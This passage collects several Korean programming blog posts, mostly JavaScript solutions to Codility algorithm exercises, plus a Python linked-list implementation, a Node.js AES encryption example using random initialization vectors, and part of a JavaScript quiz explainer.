  const sorted = A.sort((a, b) => a - b)
  const size = sorted.length

  let biggest = 0

  biggest = sorted[size - 1] * sorted[size - 2] * sorted[size - 3]

  if (sorted[0] < 0 && sorted[1] < 0 && sorted[size - 1] > 0) {
    const possible = sorted[0] * sorted[1] * sorted[size - 1]

    if (possible > biggest) {
      biggest = possible
    }
  }

  return biggest
}
```

하나 조심해야 할 것은, 두 개의 음수 \* 한개의 양수 조합으로도 큰 수를 만들 수 있다는 것이다. 따라서 무조건 큰 값 세개를 곱해버리면 안된다. 따라서 가장 큰 수를 만들 수 있는 경우의 수는 아래와 같다.

- 숫자가 큰 순서대로 세개를 곱하거나
- 음수이하의 가장 작은 숫자 두개를 곱하고 가장 큰 양수를 곱하거나

또 하나 조심해야할 것은, `sort()`다. 그냥 아무 함수 없이 sort했더니, 제대로 정렬하지 못했다. (졸아서 그런거라고 치자)

> compareFunction이 제공되지 않으면 요소를 문자열로 변환하고 유니 코드 코드 포인트 순서로 문자열을 비교하여 정렬됩니다. 예를 들어 "바나나"는 "체리"앞에옵니다. 숫자 정렬에서는 9가 80보다 앞에 오지만 숫자는 문자열로 변환되기 때문에 "80"은 유니 코드 순서에서 "9"앞에옵니다.

한국 말이 더 어렵다 (....)

> If compareFunction is not supplied, all non-undefined array elements are sorted by converting them to strings and comparing strings in UTF-16 code units order. For example, "banana" comes before "cherry". In a numeric sort, 9 comes before 80, but because numbers are converted to strings, "80" comes before "9" in the Unicode order. All undefined elements are sorted to the end of the array.

비교 함수가 정의 되지 않는다면, 모든 요소를 string으로 변환하고 이 string을 UTF-16 코드로 변환해서 비교 한다는 것이다.

```javascript
const a = [-1, -10, -9, -5, -7]
const sorted = a.sort()
console.log(sorted) // [-1, -10, -5, -7, -9]]
```

숫자 비교 시에는 절대 compareFunction을 비우지말자 -

[출처](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/sort)

https://app.codility.com/demo/results/trainingCGB84G-ST8/

---

Source: https://yceffort.kr/2020/06/codility-06-01-distinct.md
Title: Codility - Distinct
Description: ## Distinct ### 문제  배열 A안에 unique한 숫자가 몇 개 있는지 리턴하라.  ### 풀이  ```javascript function solution(A) {     return [...new Set(A)].length } ```  Set을 활용하면 쉽게 풀 수 있다. Set이 아니더라도 object등을 활용해보면 된다.   https:...
Date: 2020-06-23
Tags: algorithm, javascript

## Distinct

### 문제

배열 A안에 unique한 숫자가 몇 개 있는지 리턴하라.

### 풀이

```javascript
function solution(A) {
  return [...new Set(A)].length
}
```

Set을 활용하면 쉽게 풀 수 있다. Set이 아니더라도 object등을 활용해보면 된다.

https://app.codility.com/demo/results/training4VKM6Q-5SX/

---

Source: https://yceffort.kr/2020/06/codility-05-04-passing-cars.md
Title: Codility - Passing Cars
Description: ## Passing Cars ### 문제  N의 길이로 이루어진 배열 A는 0과 1로 이루어져 있는데, 0과 1은 각각 다음과 같은 의미를 가지고 있다.  - 0은 차가 동쪽으로 간다 - 1은 차가 서쪽으로 간다  이 때 동쪽으로 간 차와 서쪽으로 간 차를 짝지을 수 있는 개수를 구하라. 단 먼저 동쪽으로 간차와 그 이후에 서쪽으로 간 차만 짝 지을 수 ...
Date: 2020-06-23
Tags: algorithm

## Passing Cars

### 문제

N의 길이로 이루어진 배열 A는 0과 1로 이루어져 있는데, 0과 1은 각각 다음과 같은 의미를 가지고 있다.

- 0은 차가 동쪽으로 간다
- 1은 차가 서쪽으로 간다

이 때 동쪽으로 간 차와 서쪽으로 간 차를 짝지을 수 있는 개수를 구하라. 단 먼저 동쪽으로 간차와 그 이후에 서쪽으로 간 차만 짝 지을 수 있다.

```text
A배열이 아래와 같이 주어져 있다면
A[0] = 0
A[1] = 1
A[2] = 0
A[3] = 1
A[4] = 1

짝 지을 수 있는 경우의 수는 (0, 1), (0, 3), (0, 4), (2, 3), (2, 4).

5가지다.
```

단 짝의 개수가 1,000,000,000개를 넘어가면 그냥 -1을 리턴한다.

### 풀이

```javascript
// you can write to stdout for debugging purposes, e.g.
// console.log('this is a debug message');

function solution(A) {
  // 동쪽으로 간차의 개수를 센다
  let east = 0
  // 결과
  let passing = 0

  for (let i of A) {
    // 동쪽으로 간 차를 센다.
    if (i === 0) {
      east += 1
    } else {
      // 서쪽으로 간 차가 나타난다면, 현재 동쪽으로 간 차 개수만큼 더한다.
      // 현재 동쪽으로 간 차 개수만큼 짝이 될 수 있기 때문이다.
      passing += east
    }
  }

  if (passing > 1000000000) {
    return -1
  }

  return passing
}
```

https://app.codility.com/demo/results/trainingXFPYT4-R3D/

---

Source: https://yceffort.kr/2020/06/codility-05-03-min-avg-two-slice.md
Title: Codility - Min Avg Two Slice
Description: ## Min Avg Two Slice ### 문제  길이가 N인 비어있지 않은 배열 A가 주어진다. 한쌍의 숫자 P, Q의 범위는 `0 <= P < Q < N` 다. 주어진 P와 Q로 A배열을 slice한다. (최소 2개이상의 요소가 있어야 한다.) (P, Q)는 `A[P] + A[P + 1] + ... + A[Q]`이며, (P, Q)의 평균은 `(A[P...
Date: 2020-06-23
Tags: algorithm

## Min Avg Two Slice

### 문제

길이가 N인 비어있지 않은 배열 A가 주어진다. 한쌍의 숫자 P, Q의 범위는 `0 <= P < Q < N` 다. 주어진 P와 Q로 A배열을 slice한다. (최소 2개이상의 요소가 있어야 한다.) (P, Q)는 `A[P] + A[P + 1] + ... + A[Q]`이며, (P, Q)의 평균은 `(A[P] + A[P + 1] + ... + A[Q]) / (Q − P + 1)`다. 평균이 최소가 되는 P의 값을 구하라.

```text
A가 아래와 같이 이루어져있다고 가정하자.
A[0] = 4
A[1] = 2
A[2] = 2
A[3] = 5
A[4] = 1
A[5] = 5
A[6] = 8

slice (1, 2), 평균은 (2 + 2) / 2 = 2;
slice (3, 4), 평균은 (5 + 1) / 2 = 3;
slice (1, 4), 평균은 (2 + 2 + 5 + 1) / 4 = 2.5.
```

### 풀이

```javascript
function solution(A) {
  let min = Number.MAX_SAFE_INTEGER
  let minIndex = 0
  for (let i = 0; i < A.length - 1; i++) {
    let twoSum = (A[i] + A[i + 1]) / 2

    if (min > twoSum) {
      min = twoSum
      minIndex = i
    }

    if (i + 2 <= A.length - 1) {
      let threeSum = (A[i] + A[i + 1] + A[i + 2]) / 3

      if (min > threeSum) {
        min = threeSum
        minIndex = i
      }
    }
  }

  return minIndex
}
```

### 해설

처음에 고민을 많이 했는데, 문제에 힌트가 있었다. 예시에서 2개의 평균, 4개의 평균을 구하는 예제를 보여주었는데, 4개이상의 요소의 평균의 최소값은 2~3개 내에서 결정된 다는 사실이다. 그 사실만 인지하게 되면, 쉽게 풀수 있는 문제다.

https://app.codility.com/demo/results/trainingPXJM9C-P26/

---

Source: https://yceffort.kr/2020/06/codility-05-02-genomic-range-query.md
Title: Codility - Genomic Range Query
Description: ## Genomic Range Query ### 문제  DNA는 A, C, G, T로 구성되어 있는데, 이는 각각 1, 2, 3, 4를 가르킨다. 이러한 DNA를 리턴하는 S가 있고, 배열의 길이가 같은 P와 Q가 있다.  ``` S=CAGCCTA P=[2, 5, 0] Q=[4, 5, 6]  각 0번째 요소는 2, 4다. 2번째 ~ 4번째 DNA는 GCC...
Date: 2020-06-23
Tags: algorithm, javascript

## Genomic Range Query

### 문제

DNA는 A, C, G, T로 구성되어 있는데, 이는 각각 1, 2, 3, 4를 가르킨다. 이러한 DNA를 리턴하는 S가 있고, 배열의 길이가 같은 P와 Q가 있다.

```text
S=CAGCCTA
P=[2, 5, 0]
Q=[4, 5, 6]
```

각 0번째 요소는 2, 4다.
2번째 ~ 4번째 DNA는 GCC이고, 여기서 제일 작은 값은 C, 즉 2를 리턴한다.

각 1번째 요소는 5, 5다.
T 밖에 없으므로 2를 리턴한다.

각 2번째 요소는 0, 6이다.
CAGCCT이고, 가장 작은 값은 A다. 즉 1을 리턴한다.

답은 `[2, 4, 1]` 이다.

### 풀이

```javascript
function solution(S, P, Q) {
  const answers = []
  for (let i = 0; i < P.length; i++) {
    const slice = S.slice(P[i], Q[i] + 1)

    if (slice.indexOf('A') !== -1) {
      answers.push(1)
    } else if (slice.indexOf('C') !== -1) {
      answers.push(2)
    } else if (slice.indexOf('G') !== -1) {
      answers.push(3)
    } else if (slice.indexOf('T') !== -1) {
      answers.push(4)
    }
  }

  return answers
}
```

- slice를 하고, 최초에는 이를 sort해서 테스트 하려니 timeout이 났다.
- slice를 하고, slice한 문자열을 돌면서 체크하니 역시 timeout이 났다.
- slice 된 문자열에 그냥 indexOf를 하기로 했다.

---

Source: https://yceffort.kr/2020/06/codility-05-01-count-div.md
Title: Codility - Count div
Description: ## Count Div ### 문제  A와 A보다 같거나 큰 B, 그리고 K가 주어질 때, A와 B사이에 K로 나누면 나머지가 0인 숫자의 개수를 구하라.  ``` A=6 B=11 K=2 6, 8, 10 이 있으므로, 정답은 3 이다. ```  ### 풀이  ```javascript function solution(A, B, K) {     return ...
Date: 2020-06-23
Tags: algorithm

## Count Div

### 문제

A와 A보다 같거나 큰 B, 그리고 K가 주어질 때, A와 B사이에 K로 나누면 나머지가 0인 숫자의 개수를 구하라.

```text
A=6
B=11
K=2
6, 8, 10 이 있으므로, 정답은 3 이다.
```

### 풀이

```javascript
function solution(A, B, K) {
  return Math.floor(B / K) - Math.floor(A / K) + (A % K === 0 ? 1 : 0)
}
```

https://app.codility.com/demo/results/training7NC844-ZWB/

---

Source: https://yceffort.kr/2020/06/codility-04-04-permcheck.md
Title: Codility - Perm Check
Description: ## Perm Check ### 문제  길이 N인 배열이 주어져 있고, 안에는 서로 다른 숫자가 들어가 있다. 이 서로 다른 숫자가 연속하는 숫자면 true, 아니라면 false를 리턴하라.  ``` A[0] = 4 A[1] = 1 A[2] = 3 A[3] = 2  는 1을 리턴하면 된다. ```  ``` A[0] = 4 A[1] = 1 A[2] = 3 ...
Date: 2020-06-23
Tags: algorithm

## Perm Check

### 문제

길이 N인 배열이 주어져 있고, 안에는 서로 다른 숫자가 들어가 있다. 이 서로 다른 숫자가 연속하는 숫자면 true, 아니라면 false를 리턴하라.

```text
A[0] = 4
A[1] = 1
A[2] = 3
A[3] = 2

는 1을 리턴하면 된다.
```

```text
A[0] = 4
A[1] = 1
A[2] = 3

는 false를 리턴하면 된다.
```

### 풀이

```javascript
function solution(A) {
  // 정렬
  const sorted = A.sort((a, b) => a - b)
  for (let i = 0; i < sorted.length; i++) {
    if (i + 1 !== sorted[i]) {
      return 0
    }
  }
  return 1
}
```

https://app.codility.com/demo/results/training3V3SZS-VUU/

---

Source: https://yceffort.kr/2020/06/codility-03-03-tape-equilibrium.md
Title: Codility - Tape Equilibrium
Description: ## Tape Equilibrium ### 문제  길이 N의 배열을 임의로 두개로 쪼개고, 이렇게 해서 생긴 두배열의 합을 각각 구할때, 이 서로 두합의 차이가 가장 작은 경우를 구하라.  ``` A[0] = 3 A[1] = 1 A[2] = 2 A[3] = 4 A[4] = 3 이경우 네가지로 쪼갤 수 있는데  P = 1, difference = |3 − ...
Date: 2020-06-23
Tags: algorithm

## Tape Equilibrium

### 문제

길이 N의 배열을 임의로 두개로 쪼개고, 이렇게 해서 생긴 두배열의 합을 각각 구할때, 이 서로 두합의 차이가 가장 작은 경우를 구하라.

```text
A[0] = 3
A[1] = 1
A[2] = 2
A[3] = 4
A[4] = 3
이경우 네가지로 쪼갤 수 있는데

P = 1, difference = |3 − 10| = 7
P = 2, difference = |4 − 9| = 5
P = 3, difference = |6 − 7| = 1
P = 4, difference = |10 − 3| = 7

여기서 답은 1이다
```

### 풀이

```javascript
function solution(A) {
  // 좌측 SUM
  let leftSum = 0
  // 우측 SUM
  let rightSum = A.reduce((a, b) => a + b, 0)

  // 아직 답은 없음
  let answer = null

  // 배열을 순회하면서
  for (let i = 0; i < A.length - 1; i++) {
    // 왼쪽 SUM은 하나씩 추가
    leftSum += A[i]
    // 오른쪽 SUM은 하나씩 제거
    rightSum -= A[i]
    // 둘의 차이 계산
    const diff = Math.abs(leftSum - rightSum)
    // 둘의 차이가 하나도 계산이 안되어 있거나, 현재 값보다 차이가 적다면 갱신
    if (answer === null || answer > diff) {
      answer = diff
    }
  }
  return answer
}
```

https://app.codility.com/demo/results/trainingRC4CVP-VPY/

---

Source: https://yceffort.kr/2020/06/codility-03-02-perm-missing-elem.md
Title: Codility - Perm missing elem
Description: ## 3-2 Perm Missing Elem ### 문제  길이 N으로 이루어진 배열 A은, 1부터 N+1 의 숫자로 이루어져 있다. 여기에서 빠진 숫자를 찾아라.  ``` A[0] = 2 A[1] = 3 A[2] = 1 A[3] = 5  4 가 누락되어 있으므로, 정답은 4 다. ```  ### 풀이  ```javascript function solut...
Date: 2020-06-23
Tags: algorithm

## 3-2 Perm Missing Elem

### 문제

길이 N으로 이루어진 배열 A은, 1부터 N+1 의 숫자로 이루어져 있다. 여기에서 빠진 숫자를 찾아라.

```text
A[0] = 2
A[1] = 3
A[2] = 1
A[3] = 5

4 가 누락되어 있으므로, 정답은 4 다.
```

### 풀이

```javascript
function solution(A) {
  if (!A.length) {
    return 1
  }

  // 사이즈
  const size = A.length
  // 한개를 빼먹었으므로, 최대 숫자는 한개를 더 갔을 것이다.
  // 한개를 더 간 숫자들의 합을 구한다.
  let sum = ((size + 1) * (size + 2)) / 2

  // 거기에서 모든 배열을 하나씩 빼면 없는 숫자가 나올 것이다.
  for (let i = 0; i <= size - 1; i++) {
    sum -= A[i]
  }

  return sum
}
```

### 해설

![sum of n](https://i.stack.imgur.com/qYmeo.gif)

https://app.codility.com/demo/results/trainingS58ZMJ-NBP/

---

Source: https://yceffort.kr/2020/06/codility-03-01-frog-jump.md
Title: Codility - Frog Jump
Description: ## 3-1 Frog Jump ### 문제  개구리가 X에서 Y까지 뛰어야 하고, 한번에 D 만큼 점프 할 수 있을 때, 몇번을 뛰어야 하는가?  ### 풀이  ```javascript function solution(X, Y, D) {     return Math.ceil((Y - X) / D) } ```  https://app.codility.com/...
Date: 2020-06-23
Tags: algorithm

## 3-1 Frog Jump

### 문제

개구리가 X에서 Y까지 뛰어야 하고, 한번에 D 만큼 점프 할 수 있을 때, 몇번을 뛰어야 하는가?

### 풀이

```javascript
function solution(X, Y, D) {
  return Math.ceil((Y - X) / D)
}
```

https://app.codility.com/demo/results/trainingHC62NP-TRW/

---

Source: https://yceffort.kr/2020/06/codility-02-02-odd-occurrences-in-array.md
Title: Codility - Odd Occurrences in array
Description: ## 2-2 Odd Occurrences in array ### 문제  숫자로 이뤄진 배열에서 홀수 번 등장하는 숫자를 찾아서 리턴해라.  ``` A[0] = 9  A[1] = 3  A[2] = 9 A[3] = 3  A[4] = 9  A[5] = 7 A[6] = 9  7은 한번만 등장하므로 7을 리턴해야 한다. ```  ### 풀이  ```javascri...
Date: 2020-06-23
Tags: algorithm, javascript

## 2-2 Odd Occurrences in array

### 문제

숫자로 이뤄진 배열에서 홀수 번 등장하는 숫자를 찾아서 리턴해라.

```text
A[0] = 9  A[1] = 3  A[2] = 9
A[3] = 3  A[4] = 9  A[5] = 7
A[6] = 9

7은 한번만 등장하므로 7을 리턴해야 한다.
```

### 풀이

```javascript
function solution(A) {
  // 등장하는 숫자를 저장한다.
  const map = {}

  // 숫자를 순회한다
  for (let i = 0; i <= A.length - 1; i++) {
    const target = A[i]
    // 해당 숫자가 존재한다면 해당 키를 제거한다.
    if (map[target]) {
      delete map[target]
      // 해당 숫자가 존재하지 않는다면 (처음등장했다면) 추가한다.
    } else {
      map[target] = true
    }
  }

  // 리턴한다.
  return +Object.keys(map)[0]
}
```

### 해설

믿거나 말거나 성능은 `O(N) or O(N*log(N))` 가 나왔는데, 생각보다 key-value객체에 key값으로 접근하는 속도가 빠른듯.

https://app.codility.com/demo/results/trainingBF4N34-BBK/

---

Source: https://yceffort.kr/2020/06/codility-02-01-cyclic-rotation.md
Title: Codility - Cyclic Rotation
Description: ## 2-1 Cyclic Rotation ### 문제  배열 A가 주어지고 이를 K번 각 배열의 요소를 오른쪽으로 이동시켰을 때, 그 결과를 리턴하시오.  ``` A = [3, 8, 9, 7, 6] K = 3  [3, 8, 9, 7, 6] -> [6, 3, 8, 9, 7] [6, 3, 8, 9, 7] -> [7, 6, 3, 8, 9] [7, 6, 3, 8...
Date: 2020-06-23
Tags: algorithm, javascript

## 2-1 Cyclic Rotation

### 문제

배열 A가 주어지고 이를 K번 각 배열의 요소를 오른쪽으로 이동시켰을 때, 그 결과를 리턴하시오.

```text
A = [3, 8, 9, 7, 6]
K = 3

[3, 8, 9, 7, 6] -> [6, 3, 8, 9, 7]
[6, 3, 8, 9, 7] -> [7, 6, 3, 8, 9]
[7, 6, 3, 8, 9] -> [9, 7, 6, 3, 8]
```

### 풀이

```javascript
function solution(A, K) {
  // 오른쪽으로 움직여야 하는 횟수
  const sliceTimes = K % A.length

  // 회전할 필요가 없거나, 회전을 배열 길이 만큼 한다면 그냥 배열을 리턴한다.
  if (sliceTimes === 0 || sliceTimes === A.length) {
    return A
  }

  // 배열을 잘 잘라서 리턴한다.
  return [
    ...A.slice(A.length - sliceTimes),
    ...A.slice(0, A.length - sliceTimes),
  ]
}
```

### 해설

문제와 관련이 없지만, [splice](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice)는 원본 배열에 영향을 미치고, [slice](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice)는 원본 배열에 영향을 미치지 않는다.

https://app.codility.com/demo/results/trainingYUK5SH-UVZ/

---

Source: https://yceffort.kr/2020/06/codility-01-01-binary-gap.md
Title: Codility - Binary Gap
Description: ## 1-1 Binary Gap ### 문제  숫자 N을 이진수로 바꿨을때, 1과 1사이에 있는 0의 개수가 가장 많이 연속해 있는 0의 개수를 구하라.  ``` 9는 이진수로 바꿀 경우 1001, 이경우 0의 최대 개수는 2. 529는 이진수로 바꿀 경우 1000010001, 이경우 0의 최대 개수는 3. 20은 이진수로 바꿀 경우 10100, 이 경우...
Date: 2020-06-23
Tags: algorithm

## 1-1 Binary Gap

### 문제

숫자 N을 이진수로 바꿨을때, 1과 1사이에 있는 0의 개수가 가장 많이 연속해 있는 0의 개수를 구하라.

```text
9는 이진수로 바꿀 경우 1001, 이경우 0의 최대 개수는 2.
529는 이진수로 바꿀 경우 1000010001, 이경우 0의 최대 개수는 3.
20은 이진수로 바꿀 경우 10100, 이 경우 0의 최대 개수는 1. (100은 1로 둘러 쌓여 있지 않음)
15는 이진수로 바꿀경우 1111 이므로, 0의 개수는 0개
```

### 풀이

```javascript
function solution(N) {
  // 2진법으로 변환
  const binary = N.toString(2)
  // 1로 쪼갠다.
  const splitted = binary.split(1)

  // 두개 이하로 쪼개질 경우, 1이 한개 밖에 없으므로 값은 0
  if (splitted.length <= 2) {
    return 0
  } else {
    // 마지막 나누기는 의미가 없다.
    // '' 이거나 1로 막혀있지 않다면 숫자가 나올 것이므로
    splitted.pop()
    // 제일
    return splitted.reduce((p, c) => (c.length > p ? c.length : p), 0)
  }
}
```

### 해설

배열의 마지막 요소를 `pop`하는 것만 기억하면 될 듯.

https://app.codility.com/demo/results/training3C4SN2-EXK/

---

Source: https://yceffort.kr/2020/06/algorithm-linked-list.md
Title: 알고리즘 - 연결 리스트
Description: ## 연결리스트 연결리스트, Linked List 는 각 노드들이 한 줄로 연결되어 있는 방식으로 각 노드는 데이터와 포인터 (다음 노드의 정보)를 가지고 있다. 연결리스트는 일반적인 배열과 다르게 삽입과 삭제가 `O(1)`에 가능하다는 장점이 있다. 하지만 특정 n번 째 정보를 찾는 데에는 `O(n)`시간이 걸린다는 단점도 있다.  ![단일 연결 리스트...
Date: 2020-06-19
Tags: algorithm, data-structures

## 연결리스트

연결리스트, Linked List 는 각 노드들이 한 줄로 연결되어 있는 방식으로 각 노드는 데이터와 포인터 (다음 노드의 정보)를 가지고 있다. 연결리스트는 일반적인 배열과 다르게 삽입과 삭제가 `O(1)`에 가능하다는 장점이 있다. 하지만 특정 n번 째 정보를 찾는 데에는 `O(n)`시간이 걸린다는 단점도 있다.

![단일 연결 리스트](https://upload.wikimedia.org/wikipedia/commons/thumb/9/9c/Single_linked_list.png/800px-Single_linked_list.png)

![이중 연결 리스트](https://upload.wikimedia.org/wikipedia/commons/thumb/c/ca/Doubly_linked_list.png/800px-Doubly_linked_list.png)

이중 연결리스트는 이 포인터에 앞, 뒤 정보가 모두 담겨 있다.

![원형 연결 리스트](https://upload.wikimedia.org/wikipedia/commons/thumb/9/98/Circurlar_linked_list.png/800px-Circurlar_linked_list.png)

마지막 노드의 포인터가 첫 번째 노드를 가르킨다.

## 구현

먼저 가장 최초에 있는 노드를 `header`라고 부르고, 맨 마지막에 있는 노드를 `tail`이라고 부른다. 또한 일반적인 배열과는 다르게, 배열의 시작을 1로 하고, 0번째 노드는 비어있는 노드로 가정한다. 이는 구현에 있어 조금 더 편하게 하기 위함이다.

그리고 구현해볼 메소드는 다음과 같다.

- print: 리스트를 볼 수 있도록 프린트 한다.
- getAt(n): n번째 노드를 꺼낸다.
- insertAt(n, node): n번째에 `node`를 삽입한다.
- insertAfter(prev, new): `prev`이후에 `new`를 삽입한다.
- popAt(n): n번째 노드를 삭제한다.
- popAfter(prev): `prev` 이후 노드를 삭제한다.
- size: 전체 노드 개수를 계산한다.
- traverse: 전체 노드를 배열로 리턴한다.

### python

#### Node

```python
class Node:
  def __init__(self, item):
    self.data = item # 데이터 정보
    self.next = None # 다음 노드 정보
```

#### Linked List

```python
class LinkedList:
  def __init__(self):
    self.size = 0
    self.head = Node(None)
    self.tail = None

  def traverse(self):
    result = []
    curr = self.head
    while curr.next:
      curr = curr.next
      result.append(curr.data)
    return result

  def getAt(self, n):
    if n < 0 or n > self.size:
      return None

    i = 0
    curr = self.head
    while i < n:
      curr = curr.next
      i += 1

    return curr

  def insertAfter(self, prev, new):
    # 새로운 노드의 다음 노드는 이전 노드의 다음 정보
    new.next = prev.next
    # prev가 tail일 경우
    if prev.next is None:
      self.tail = new
    # 이제 이전 노드의 다음 노드는 사로운 노드
    prev.next = new
    self.size += 1


  def insertAt(self, n, new):
    if n < 1 or n > self.size + 1:
      return False

    # tail에 들어갈 경우
    if n != 1 and n == self.size + 1:
      prev = self.tail
    else:
      prev = self.getAt(n - 1)

    return self.insertAfter(prev, new)

  def popAfter(self, prev):
    popData = prev.next.data
    ## tail 을 제거하려고 할때
    if prev.next.next is None:
      self.tail = prev
      prev.next = None
    else:
      prev.next = prev.next.next

    self.size -= 1

    return popData

  def popAt(self, n):
    if n < 1 or n > self.size:
      raise IndexError

    # head일 경우
    if n == 1:
      prev = self.head
    else:
      prev = self.getAt(n - 1)

    return self.popAfter(prev)

  def print(self):
    if self.size == 1:
      print("this linked list is empty")
    else:
      print(self.traverse())
```

---

Source: https://yceffort.kr/2020/06/encryption-decryption-nodejs.md
Title: Nodejs에서의 암/복호화
Description: ### Nodejs에서의 암호화와 복호화 만약 같은 텍스트로 암호화를 동일하게 시도했을 때, 암호화된 결과가 동일하게 나온다면 이 암호화는 굉장히 약한 암호화라 볼 수 있다. 강력한 암호화는 매번 암호화를 시도할 때마다 (설령 같은 텍스트라 할지라도) 다른 결과가 나와야 한다.  물론, 어쨌든 암호화 되어 있다는 사실 만으로도 만족할 수도 있다. 그러나 ...
Date: 2020-06-09
Tags: nodejs, security

### Nodejs에서의 암호화와 복호화

만약 같은 텍스트로 암호화를 동일하게 시도했을 때, 암호화된 결과가 동일하게 나온다면 이 암호화는 굉장히 약한 암호화라 볼 수 있다. 강력한 암호화는 매번 암호화를 시도할 때마다 (설령 같은 텍스트라 할지라도) 다른 결과가 나와야 한다.

물론, 어쨌든 암호화 되어 있다는 사실 만으로도 만족할 수도 있다. 그러나 공격자가 암호화된 데이터에 접근했을 때 유사한 패턴을 찾게 된다면 그것으로 패턴을 분석할 수 있게 된다. 공격자가 입력한 텍스트가 동일하게 암호화 되었고, 그 암호화된 텍스트가 DB에서 발견 된다면, 그 텍스트는 추론할 수 있게 되며 더 이상 암호화는 유효하지 않게 된다. 따라서 암호화된 출력이 항상 다르게 하기 위해서는, 임의성 (randomness)을 추가해야 한다.

암호화가 매번 다른 결과를 만들어 주는 것이 [Initialize Vector (IV) 초기화 벡터](https://en.wikipedia.org/wiki/Initialization_vector)이다. 암호화 알고리즘에 IV를 추가하여 위에서 언급한 임의성을 얹을 수 있고, 이 임의성은 암호화가 매번 다른 결과를 만들수 있도록 도와 준다. 강력한 암호화를 위해서는, 매번 암호화를 시도할 때마다 서로다른 랜덤값을 IV로 제공해야 한다. 이는 암호 해싱의 [salt](<https://en.wikipedia.org/wiki/Salt_(cryptography)>)와 유사하다.

단순함을 유지하면서, 암호화된 데이터에 대한 단일 데이터베이스 필드와 값을 사용하기 위해, 암호화전에 IV를 준비하여 암호화된 결과에 맞게 준비한다. 그런 다음, 암호를 해독하기전에, IV를 읽고 이를 키와 함께 사용하면 된다.

```javascript
'use strict'

const crypto = require('crypto')

const ENCRYPTION_KEY =
  process.env.ENCRYPTION_KEY || 'abcdefghijklmnop'.repeat(2) // Must be 256 bits (32 characters)
const IV_LENGTH = 16 // For AES, this is always 16

function encrypt(text) {
  const iv = crypto.randomBytes(IV_LENGTH)
  const cipher = crypto.createCipheriv(
    'aes-256-cbc',
    Buffer.from(ENCRYPTION_KEY),
    iv,
  )
  const encrypted = cipher.update(text)

  return (
    iv.toString('hex') +
    ':' +
    Buffer.concat([encrypted, cipher.final()]).toString('hex')
  )
}

function decrypt(text) {
  const textParts = text.split(':')
  const iv = Buffer.from(textParts.shift(), 'hex')
  const encryptedText = Buffer.from(textParts.join(':'), 'hex')
  const decipher = crypto.createDecipheriv(
    'aes-256-cbc',
    Buffer.from(ENCRYPTION_KEY),
    iv,
  )
  const decrypted = decipher.update(encryptedText)

  return Buffer.concat([decrypted, decipher.final()]).toString()
}

const text = 'hello my name is yceffort'
const encryptResult = encrypt(text)
console.log('encrypt result:', encryptResult)

const decryptResult = decrypt(encryptResult)
console.log('decrypt result:', decryptResult)
```

```text
encrypt result: bad1fdcaa253c63bc3c8a5aadb7d8913:97a0a7ab35c84d3e52b56afeb717ad888669c67132cc97f941f7969ec52a1732
decrypt result: hello my name is yceffort
```

[여기](https://gist.github.com/vlucas/2bd40f62d20c1d49237a109d491974eb)의 코드를 참고했다.

IV에 대해서 설명하려면 한도 끝도 없고 내 두뇌 용량도 초과하므로, 자세한 설명은 생략하지만 서도 - 암호화를 할 때 꼭꼭꼭꼮 IV를 쓰도록 하자. [이미 nodejs의 crypto 라이브러리에서는 iv 를 쓰지 않는 코드는 deprecated 되었다.](https://nodejs.org/api/crypto.html#crypto_crypto_createcipher_algorithm_password_options)

---

Source: https://yceffort.kr/2020/05/10-javascript-quiz.md
Title: 자바스크립트 스킬을 향상 시킬 10개의 질문
Description: ## 자바스크립트 스킬을 향상 시킬 10개의 질문 [10 JavaScript Quiz Questions and Answers to Sharpen Your Skills](https://typeofnan.dev/10-javascript-quiz-questions-and-answers/) 의 질문을 보고, 답에 대한 해석을 제멋대로 써보았습니다.  ### 1....
Date: 2020-06-03
Tags: javascript

## 자바스크립트 스킬을 향상 시킬 10개의 질문

[10 JavaScript Quiz Questions and Answers to Sharpen Your Skills](https://typeofnan.dev/10-javascript-quiz-questions-and-answers/) 의 질문을 보고, 답에 대한 해석을 제멋대로 써보았습니다.

### 1. 배열 정렬 비교

```javascript
const arr1 = ['a', 'b', 'c']
const arr2 = ['b', 'c', 'a']

console.log(
  arr1.sort() === arr1,
  arr2.sort() == arr2,
  arr1.sort() === arr2.sort(),
)
```

당연한 얘기지만, 자바스크립트에서의 비교는 (`==`, `===`), 원시 타입이 아니라면 reference를 참조해서 비교하게 된다. 먼저 첫 번째 부터 알아보자. [sort()](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/sort)는 적절하게 정렬한 후에 그 배열 자체를 반환한다고 되어 있다.

> `sort()` 메서드는 배열의 요소를 적절한 위치에 정렬한 후 그 배열을 반환합니다.

따라서 저 `arr1.sort()`의 결과가 맞던지 틀리던지 상관없이, 같은 참조값을 리턴하므로 `true`가 된다.

두 번째도 앞선 이유와 마찬가지로, 정렬의 결과가 어쨌든 간에 - 같은 참조를 하고 있으므로 `true`를 리턴하게 된다. 세 번째 역시, 앞선 이유와 같이 정렬의 결과를 비교하는게 아닌 참조를 비교하게 되므로 `false`가 된다.

만약 자바스크립트의 배열을 비교 하고 싶다면 어떻게 해야할까? [stackoverflow](https://stackoverflow.com/questions/7837456/how-to-compare-arrays-in-javascript)에 미친 답변들이 많지만, `JSON.stringify`를 이용하는게 가장 쉬울 것 같다.

### 2. Set에 Object가 들어 있다면?

```javascript
const mySet = new Set([{a: 1}, {a: 1}])
const result = [...mySet]
console.log(result)
```

[Set](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Set)은 어디까지나 원시값을 비교해서 제거하므로, `{a: 1}`이라는 중복을 제거해주지 않는다. 따라서

`[{a: 1}, {a: 1}]`가 나올 것이다.

### 3. Deep Object.freeze

```javascript
const user = {
  name: 'Joe',
  age: 25,
  pet: {
    type: 'dog',
    name: 'Buttercup',
  },
}

Object.freeze(user)

user.pet.name = 'Daffodil'

console.log(user.pet.name)
```

[Object.freeze](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze)는 객체를 동결시키는 메소드다. 동결된 객체는 새로운 속성을 추가하거나, 제거, 삭제를 할 수 없다. 그러나 `freeze`는 얕은 동결만 수행한다. 따라서, Object안에 있는 object에 대해서는 동결이 되지 않는다. 따라서 문제의 결과는 변경된 값을 리턴하게 된다. 하위 객체까지 모두 동결 시키기 위해서는, 재귀함수를 활용해야 할 것이다.

```javascript
function deepFreeze(object) {
  const propNames = Object.getOwnPropertyNames(object)

  for (const name of propNames) {
